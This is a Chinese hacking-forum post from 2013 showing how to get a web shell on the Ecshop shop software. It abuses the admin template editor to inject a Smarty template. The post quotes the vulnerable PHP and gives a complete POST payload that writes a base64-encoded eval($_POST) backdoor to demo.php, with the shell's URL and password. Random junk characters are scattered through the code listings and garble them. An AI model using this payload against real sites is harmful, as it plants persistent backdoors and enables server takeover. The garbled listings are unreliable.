找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2995|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
. s( b0 l1 ?$ L3 k9 t! f. P* U# a$ P( P1 W. D' w
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
. V) |; t' N. S但是ecshop似乎不支持{php}{/php}这个标签来执行php代码; f( f8 t4 G$ M( c  Q
admin/template.php
2 z) o, _. N0 I& X2 p8 i3 s: z: y3 e# m4 q/ e3 L
1 if ($_REQUEST['act'] == 'update_library')
8 p4 ^, N' A* [: }* q
6 }* F# j( t2 E. [. i5 u+ E2   " z% S$ E3 I! w# K' k: c
8 ?$ J5 m# s9 _; M4 y; y# ^8 ?
3 { 2 t& u$ I" H; D, R

& Z6 d5 E& D/ S7 v# S4     check_authz_json('library_manage');
+ n2 i6 c, E8 ^4 k8 e( E3 h1 `$ s1 A
5   4 X5 P# `4 N( X3 z2 D6 q- G
( F  {) P* G4 o* v6 Z
6     $html = stripslashes(json_str_iconv($_POST['html'])); , X; x2 \  H$ t5 Y- J

8 K; b8 T8 U1 P# S! Y6 u/ x& m7     l- J9 K: U% Q) M# L

7 ~4 c) t# U0 k8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 : r- m5 k' }! S& A# u# Y

; Q# z" I' T% i4 W* I& p  R+ i1 c9   
4 s) X. Y# ?1 L7 Y% F
; U6 l% q! s; e+ Q10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
7 x; s" t4 F) \& V1 H
- X, _' T8 G' T3 h11   
1 @1 v4 I# B0 c/ |% T6 z; {& Q8 i  C1 F/ r* e& u: O+ D: X
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); ( N  M8 ^& `2 i* v( y) X) @# A: b( F
3 e: f/ g' ?4 K
13   ( c( X; c5 ]$ |6 D9 G& G
5 B# Q( w7 [5 o6 N
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 ; m5 W% P5 ?/ `
+ x0 E2 a! k9 L
15     { 1 v+ m9 w/ ^8 A( S. w

. z* |# @4 a7 u+ g, F16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
" V9 x" g# {2 w6 m) M: s" `
5 W5 Q2 t, u. ?5 Q* y17         make_json_result('', $_LANG['update_lib_success']); 1 y0 ^/ O% U+ B6 X2 B* W4 X
/ R. a. v* y% I7 c
18     } % S1 g% D6 Y7 b1 q! s

6 C% J! P0 H! {' E4 Z8 t/ P19     else
- J; H4 R7 j3 X4 I
7 ]2 P8 w' }9 o* T1 m20     { + `% u- L" A) O6 l# g

- o  ~1 n/ M/ V) k" e! O21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 9 I& m# U4 i% W7 d
* s7 t' \4 {/ E; H6 E. e: D4 ~
22     } ! A3 O6 N) z( `+ Z# T

9 k( J9 n" L2 Q- y# B23 }
- {8 c1 U2 Y1 c0 s2 z# L3 A
% G& G+ G* f8 z( m) B那么找个比较方便调用了模板的文件
% @/ ]& i' i! X/ l- eindex.php
2 H5 C4 K, c2 Z& P$ V2 E$ P  R* C' p+ [$ Z" A
1 if ($act == 'cat_rec')
( N% e5 Q+ d2 H+ [$ {* V$ @/ n- A- A* F  h) K( y4 w3 E
2   6 x" W# b( o8 ~2 B$ N

' R. b4 e/ G6 r. {5 A, z8 `2 M  [3 { ) I! {/ F0 y0 Q" \* U

, [" c: f: H  k6 p' }4   
2 C0 Q! x" [/ J0 F! L8 Q( A. n4 ^: g/ [: E( R' h+ V7 a" V  _
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
2 d( C( y( v4 Y! l2 a( D! o9 J- I1 H: `. p2 M  L8 L
6   
2 W6 x( B1 m+ t- X  K' c
# a8 P0 T+ y( S5 `5 e/ a! x7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
# f" r2 S! _. e
+ D# B0 Y# N. C1 c! W8   % }- A2 G5 V  Z% Z  p. d4 V8 E+ L6 R

, S0 D1 i- {# f( K9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; ) N" Q' ^6 D6 K/ u3 @) X

3 I: }5 i8 l0 o10   + o* e7 Z$ m7 U  k% O1 n. r2 [
/ }: a" `5 y% H2 F" u
11     include_once('includes/cls_json.php');
. D% ]/ u+ R$ d; s* E) w# T7 H/ J9 a+ X0 d/ I3 A
12   5 r" g3 m! N3 q4 y- G1 n0 m" u
) V( z# {& u: _# k0 H, }
13     $json = new JSON; 7 R& I# N1 X# A. Z' U/ m  D: |$ g
3 P: B" C* Z; E! q. V
14   . G% o: U' l. L( h4 w# K
  \  R, S8 W+ i$ V
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); & a9 E9 d4 L% k3 }7 J" d2 ]
# _' V* ?+ j5 `/ b6 _
16   
3 k, z" w7 E, B, n( T& i' N) ?8 d! S7 ]) u: a; A
17     $children = get_children($cat_id); % D) X- ]4 q7 h
' j- N! r, z6 ^* I% Y
18   
+ _0 C0 e5 N6 e+ M% P1 ]4 f2 S7 o9 _6 C$ h3 I: L
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 , x3 m. Y  ?3 u7 P6 @  w" |( n% \

- y. s9 l3 K1 M' G% s# ~. ?4 \0 Q20   
3 {5 v1 t0 T1 Q5 t4 N0 ^: h, m9 K9 X5 F
21     $smarty->assign('cat_rec_sign', 1); ' Q8 T- u' |( U  G/ ~6 h- d! G" e0 a) x

2 L* Z! L' {7 a& M0 y22   ! Y7 ^: H$ P( A

) g; F4 Q. J- |  ^! j23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
7 `' M( p6 [) I+ p8 K/ q- o/ F. }2 k0 d5 T! |/ c( B0 n2 |% @& `
24   
" ]: W3 z# q+ O& u. R" q2 S+ r
# N) H- ]  n/ B5 N% i25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 5 B* M- ^  a0 Q7 H1 M8 d

8 m6 J3 \3 I! `9 Q) ?; q26   
" h, Y( C8 C) c3 _& v4 l) d9 |; I5 L( L4 J
27         echo $rec_array[$rec_type];   g$ w+ U7 M: s# d& P9 T

! _/ B/ o' x; ~4 M  d5 u9 Q28   ' V* p% A, P7 g- H3 k! c5 \# o

9 ~3 ?3 o- o5 o* E0 p- @* R29     die($json->encode($result)); " Y% X8 d. K+ U0 c+ I

9 f* v& i; F: W9 I6 _- I1 z* j30   
9 ~2 E: G! H. b; x$ A- m" V7 h. {; Q( V  N+ c, \
31 }
% l% E7 W6 F$ K2 D, p2 d: u0 F# S3 k% l
那么就有利用方法了
7 b- g8 E" K( v& S: rpost包到http://localhost/ec/admin/template.php?act=update_library
( p. x' {& o9 Y0 W' [Post内容:, m# k4 ]7 L* }5 {

  V& r, q7 _- d: X7 v1 G
0 @  ?( v, ]( g! X' @1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
  a$ B) B/ S. q* ?
+ @9 g0 D# |2 e然后访问http://localhost/ec/index.php?act=cat_rec
+ o  k( E# Z% V$ R) T/ ]2 P5 I6 [6 t# _: N4 c' h4 b
shel地址:http://localhost/ec/demo.php
2 g3 r0 e& d1 D  c4 Z+ Q密码c
& F8 t6 B( w0 t1 N7 _. o5 @! U7 f7 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表